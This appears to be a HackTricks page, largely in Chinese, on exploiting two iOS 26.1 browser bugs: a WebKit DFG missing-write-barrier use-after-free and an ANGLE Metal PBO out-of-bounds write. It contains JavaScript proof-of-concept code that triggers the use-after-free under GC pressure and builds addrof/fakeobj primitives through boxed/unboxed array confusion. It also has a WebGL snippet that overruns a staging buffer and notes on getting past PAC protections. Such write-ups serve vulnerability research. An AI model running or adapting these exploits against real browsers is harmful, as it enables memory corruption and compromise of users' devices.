WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Summary

  • DFG Store Barrier bug (CVE-2025-43529): 在 DFGStoreBarrierInsertionPhase.cpp 中,Phi node 被标记为 escaped 而其 Upsilon inputs 没有,导致该阶段在后续对象存储上跳过插入 write barrier。在 GC 压力下,这会让 JSC 释放仍可达的对象 → use-after-free
  • Exploit target: 强制一个 Date 对象物化 butterfly(例如 a[0] = 1.1),使 butterfly 被释放,然后被作为数组元素存储 reclaimed,以构建 boxed/unboxed 混淆 → addrof/fakeobj 原语。
  • ANGLE Metal PBO bug (CVE-2025-14174): Metal backend 使用 UNPACK_IMAGE_HEIGHT 来分配 PBO staging buffer,而不是使用真实的纹理高度。提供很小的 unpack height 然后执行大的 texImage2D 会导致 staging-buffer OOB write(在下面的 PoC 中约 ~240KB)。
  • PAC blockers on arm64e (iOS 26.1): TypedArray 的 m_vector 和 JSArray 的 butterfly 是 PAC-signed;用攻击者选定的指针伪造 fake objects 会触发 EXC_BAD_ACCESS/EXC_ARM_PAC 崩溃。只有重用 already-signed butterflies(通过 boxed/unboxed 重新解释)才可行。

Triggering the DFG missing barrier → UAF

function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A;                 // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly

// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));

const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1;       // Phi escapes, Upsilon not escaped
A.p1 = f;                           // Missing barrier state set up

for (let i = 0; i < 1e6; ++i) {}    // GC race window
b.p1 = a;                           // Store without barrier → frees `a`/butterfly
}

要点:

  • A 放入 old space 以触发代际屏障。
  • 创建一个有索引的 Date,使 butterfly 成为被释放的目标。
  • 喷洒 ArrayBuffer(0x800000) 来强制 GC 并扩大竞争窗口。
  • Phi/Upsilon 的逃逸不匹配阻止了 barrier 的插入;b.p1 = a没有写屏障 的情况下运行,因此 GC 回收了 a/butterfly。

Butterfly reclaim → boxed/unboxed confusion

在 GC 释放 Date 的 butterfly 之后,喷洒数组,使被释放的 slab 被重用为两个具有不同元素种类的数组的 elements:

boxed_arr[0]   = obj;          // store as boxed pointer
const addr     = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr);   // write pointer bits as float
const fake     = boxed_arr[0]; // reinterpret as object → fakeobj

Status on iOS 26.1 (arm64e):

  • Working: addrof, fakeobj,每次运行 20+ 个地址 leak,inline-slot read/write(针对已知 inline 字段)。
  • Not stable yet: generalized read64/write64 via inline-slot backings 尚不稳定。

PAC constraints on arm64e (why fake objects crash)

  • TypedArray m_vectorJSArray butterfly 是 PAC 签名的;伪造指针会导致 EXC_BAD_ACCESS / 很可能为 EXC_ARM_PAC
  • The confusion primitive 起作用是因为它 重用合法的已签名 butterflies;引入未签名的攻击者指针会导致验证失败。
  • 记录的潜在绕过思路:跳过认证的 JIT 路径、为攻击者指针签名的 gadgets,或通过 ANGLE OOB 做 pivot。

ANGLE Metal PBO under-allocation → OOB write

Use a tiny unpack height to shrink the staging buffer, then upload a large texture so the copy overruns:

gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual  = 256 * 256 * 4 = 256KB → ~240KB OOB

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

备注:

  • TextureMtl.cpp 中的一个 bug:暂存缓冲区在 PBO 路径上使用了 UNPACK_IMAGE_HEIGHT,而不是实际的纹理高度。
  • 在参考探测中,WebGL2 PBO 触发已接通,但在 iOS 26.1 上尚未可靠观测到。

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks